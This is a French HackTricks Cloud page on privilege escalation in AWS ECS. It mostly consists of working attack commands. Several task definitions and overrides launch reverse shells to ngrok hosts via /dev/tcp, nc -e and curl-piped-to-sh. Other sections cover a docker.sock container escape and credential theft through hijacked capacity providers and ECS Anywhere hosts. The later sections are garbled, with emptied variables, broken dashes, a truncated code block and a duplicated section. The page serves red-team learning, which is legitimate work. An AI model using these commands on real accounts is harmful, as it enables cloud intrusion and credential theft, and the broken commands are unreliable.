AWS - ECS Privesc
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
ECS
Plus d’informations sur ECS dans :
iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask
Un attaquant abusant de la permission iam:PassRole, ecs:RegisterTaskDefinition et ecs:RunTask dans ECS peut générer une nouvelle définition de tâche avec un conteneur malveillant qui vole les identifiants des métadonnées et l’exécuter.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Impact potentiel : Direct privesc to a different ECS role.
iam:PassRole,ecs:RunTask
Un attaquant disposant des permissions iam:PassRole et ecs:RunTask peut démarrer une nouvelle ECS task avec des valeurs modifiées pour le execution role, le task role et le command du container. La commande CLI ecs run-task contient le flag --overrides qui permet de changer à l’exécution executionRoleArn, taskRoleArn et le command du container sans modifier la task definition.
Les IAM roles spécifiés dans taskRoleArn et executionRoleArn doivent explicitement autoriser ecs-tasks.amazonaws.com à les assumer dans leur trust policy.
De plus, l’attaquant doit connaître :
- ECS cluster name
- VPC Subnet
- Security group (si aucun security group n’est spécifié, celui par défaut sera utilisé)
- Task Definition Name and revision
- Name of the Container
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
Dans l’extrait de code ci‑dessus, un attaquant remplace seulement la valeur de taskRoleArn. Cependant, l’attaquant doit disposer de l’autorisation iam:PassRole sur le taskRoleArn spécifié dans la commande et sur le executionRoleArn spécifié dans la définition de tâche pour que l’attaque puisse avoir lieu.
Si le rôle IAM que l’attaquant peut passer possède suffisamment de privilèges pour récupérer l’image ECR et démarrer la tâche ECS (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer, ecr:BatchGetImage, ecr:GetAuthorizationToken), alors l’attaquant peut spécifier le même rôle IAM pour executionRoleArn et taskRoleArn dans la commande ecs run-task.
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
Impact potentiel : Privesc direct sur n’importe quel rôle de tâche ECS.
iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask
Comme dans l’exemple précédent, un attaquant abusant des permissions iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask dans ECS peut générer une nouvelle définition de tâche avec un conteneur malveillant qui vole les identifiants des métadonnées et l’exécuter.
Cependant, dans ce cas, une instance de conteneur doit être disponible pour exécuter la définition de tâche malveillante.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Impact potentiel : privesc direct sur n’importe quel rôle ECS.
iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)
Comme dans l’exemple précédent, un attaquant abusant des iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService ou ecs:CreateService permissions dans ECS peut générer une nouvelle définition de tâche avec un conteneur malveillant qui vole les identifiants de métadonnées et l’exécuter en créant un nouveau service avec au moins 1 tâche en cours d’exécution.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
Impact potentiel: Privesc direct sur n’importe quel rôle ECS.
iam:PassRole, (ecs:UpdateService|ecs:CreateService)
En fait, uniquement avec ces permissions, il est possible d’utiliser les overrides pour exécuter des commandes arbitraires dans un conteneur en utilisant un rôle arbitraire, par exemple :
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
Impact potentiel : privesc direct vers n’importe quel rôle ECS.
ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
Ce scénario est similaire aux précédents mais sans la permission iam:PassRole.
Cette situation reste intéressante car si vous pouvez exécuter un conteneur arbitraire, même s’il est sans rôle, vous pourriez exécuter un conteneur privilégié pour vous échapper vers le nœud et voler le rôle IAM EC2 ainsi que les autres rôles des conteneurs ECS s’exécutant sur le nœud.
Vous pourriez même forcer d’autres tâches à s’exécuter à l’intérieur de l’instance EC2 que vous compromettez pour voler leurs identifiants (comme discuté dans la Privesc to node section).
Warning
Cette attaque n’est possible que si le cluster ECS utilise des instances EC2 et non Fargate.
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json
printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json
aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2
# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
Un attaquant disposant des ecs:ExecuteCommand, ecs:DescribeTasks peut exécuter des commandes à l’intérieur d’un conteneur en cours d’exécution et exfiltrer le rôle IAM qui y est attaché (il faut les permissions describe car elles sont nécessaires pour exécuter aws ecs execute-command).
Cependant, pour faire cela, l’instance de conteneur doit exécuter l’ExecuteCommand agent (ce qui, par défaut, n’est pas le cas).
Par conséquent, l’attaquant pourrait essayer de :
- Essayer d’exécuter une commande dans chaque conteneur en cours d’exécution
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo " Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done
# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
- S’il a
ecs:RunTask, exécuter une tâche avecaws ecs run-task --enable-execute-command [...] - S’il a
ecs:StartTask, exécuter une tâche avecaws ecs start-task --enable-execute-command [...] - S’il a
ecs:CreateService, créer un service avecaws ecs create-service --enable-execute-command [...] - S’il a
ecs:UpdateService, mettre à jour un service avecaws ecs update-service --enable-execute-command [...]
Vous pouvez trouver des exemples de ces options dans les sections ECS privesc précédentes.
Impact potentiel : Privesc vers un rôle différent attaché aux conteneurs.
ssm:StartSession
Consultez la page ssm privesc pour voir comment abuser de cette permission afin de privesc vers ECS :
iam:PassRole, ec2:RunInstances
Consultez la page ec2 privesc pour voir comment abuser de ces permissions afin de privesc vers ECS :
ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole
Un attaquant disposant de ces permissions pourrait potentiellement enregistrer une instance EC2 dans un cluster ECS et y exécuter des tâches. Cela pourrait permettre à l’attaquant d’exécuter du code arbitraire dans le contexte des tâches ECS.
- TODO : Est-il possible d’enregistrer une instance depuis un compte AWS différent de sorte que les tâches s’exécutent sur des machines contrôlées par l’attaquant ??
ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets
Note
TODO : Tester ceci
Un attaquant disposant des permissions ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet et ecs:DescribeTaskSets peut créer un task set malveillant pour un service ECS existant et mettre à jour le task set primaire. Cela permet à l’attaquant de exécuter du code arbitraire au sein du service.
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json
aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
Impact potentiel: Exécuter du code arbitraire dans le service affecté, pouvant impacter sa fonctionnalité ou exfiltrer des données sensibles.
Références
Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
Un attaquant disposant des permissions pour gérer les ECS capacity providers et mettre à jour des services peut créer un EC2 Auto Scaling Group qu’il contrôle, l’encapsuler dans un ECS Capacity Provider, l’associer au cluster cible, et migrer un service victime pour utiliser ce provider. Les tasks seront alors planifiées sur des EC2 instances contrôlées par l’attaquant, permettant un accès au niveau OS pour inspecter les containers et voler les task role credentials.
Commandes (us-east-1):
-
Prérequis
-
Create Launch Template for ECS agent to join target cluster
-
Create Auto Scaling Group
-
Create Capacity Provider from the ASG
-
Associate the Capacity Provider to the cluster (optionally as default)
-
Migrate a service to your provider
-
Verify tasks land on attacker instances
-
Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
-
Cleanup
Impact potentiel: Les EC2 nodes contrôlés par l’attaquant reçoivent des tasks victimes, permettant un accès au niveau OS aux containers et le vol des task IAM role credentials.
Step-by-step commands (copy/paste)
export AWS_DEFAULT_REGION=us-east-1 CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster # Instance profile for ECS nodes aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || trueVPC=vpc-18e6ac62 SUBNETS=
AMI=ami-0b570770164588ab4 USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo= LT_ID=
ASG_ARN=
CP_NAME=htcp-8797 aws ecs create-capacity-provider –name –auto-scaling-group-provider “autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED” aws ecs put-cluster-capacity-providers –cluster “” –capacity-providers –default-capacity-provider-strategy capacityProvider=,weight=1
SVC=
Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service –cluster “” –service “” –capacity-provider-strategy capacityProvider=,weight=1 –force-new-deployment
TASK= CI= aws ecs describe-container-instances –cluster “” –container-instances “” –query containerInstances[0].ec2InstanceId –output text
Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
Abuse ECS Anywhere pour enregistrer un hôte contrôlé par l’attaquant en tant que EXTERNAL container instance dans un cluster ECS victime et exécuter des tasks sur cet hôte en utilisant des rôles de task et d’exécution privilégiés. Cela donne un contrôle au niveau OS sur l’endroit où les tasks s’exécutent (votre propre machine) et permet le vol de task-role credentials et de données depuis les tasks et les volumes attachés sans toucher aux capacity providers ou ASGs.
-
Permissions requises (exemple minimal) :
-
ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
-
ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
-
iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (pour l’ECS Anywhere instance role et les task/execution roles)
-
logs:CreateLogGroup/Stream, logs:PutLogEvents (si utilisation de awslogs)
-
Impact : Exécuter des containers arbitraires avec le taskRoleArn choisi sur l’hôte de l’attaquant ; exfiltrer les task-role credentials depuis 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI ; accéder à n’importe quels volumes montés par les tasks ; plus discret que de manipuler les capacity providers/ASGs.
Steps
- Créer/identifier le cluster (us-east-1)
aws ecs create-cluster --cluster-name ht-ecs-anywhere
- Créer le rôle ECS Anywhere et l’activation SSM (pour on-prem/EXTERNAL instance)
aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
- Provisionner l’hôte attaquant et l’enregistrer automatiquement en tant qu’EXTERNAL (exemple : petit AL2 EC2 comme “on‑prem”)
user-data.sh
```bash #!/bin/bash set -euxo pipefail amazon-linux-extras enable docker || true yum install -y docker curl jq systemctl enable --now docker curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" chmod +x /root/ecs-anywhere-install.sh /root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 ```task def (EXTERNAL launch)
cat > td-external.json << ‘JSON’
{
“family”: “ht-external”,
“requiresCompatibilities”: [ “EXTERNAL” ],
“networkMode”: “bridge”,
“memory”: “256”,
“cpu”: “128”,
“executionRoleArn”: “arn:aws:iam::
–container-instances $CI
6) À partir d'ici vous contrôlez l'hôte qui exécute les tâches. Vous pouvez lire les logs des tâches (si awslogs) ou exécuter directement sur l'hôte pour exfiltrer les credentials/données de vos tâches.
#### Exemple de commande (espaces réservés)
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
Un attaquant disposant des autorisations pour gérer les ECS capacity providers et mettre à jour les services peut créer un EC2 Auto Scaling Group qu'il contrôle, l'encapsuler dans un ECS Capacity Provider, l'associer au cluster cible et migrer un service victime pour utiliser ce provider. Les tâches seront alors planifiées sur des instances EC2 contrôlées par l'attaquant, permettant un accès au niveau OS pour inspecter les containers et voler les task role credentials.
Commands (us-east-1):
- Prérequis
- Créer un Launch Template pour que l'ECS agent rejoigne le cluster cible
- Créer Auto Scaling Group
- Créer Capacity Provider à partir de l'ASG
- Associer le Capacity Provider au cluster (optionnellement comme provider par défaut)
- Migrer un service vers votre provider
- Vérifier que les tâches sont déployées sur les instances contrôlées par l'attaquant
- Optionnel : depuis le nœud EC2, docker exec dans les containers ciblés et lire http://169.254.170.2 pour obtenir les task role credentials.
- Nettoyage
**Impact potentiel :** Des nœuds EC2 contrôlés par l'attaquant reçoivent les tâches victimes, permettant un accès au niveau OS aux containers et le vol des task IAM role credentials.
> [!TIP]
> Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Apprenez et pratiquez le hacking Azure : <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenir HackTricks</summary>
>
> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
> - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
>
> </details>
HackTricks Cloud

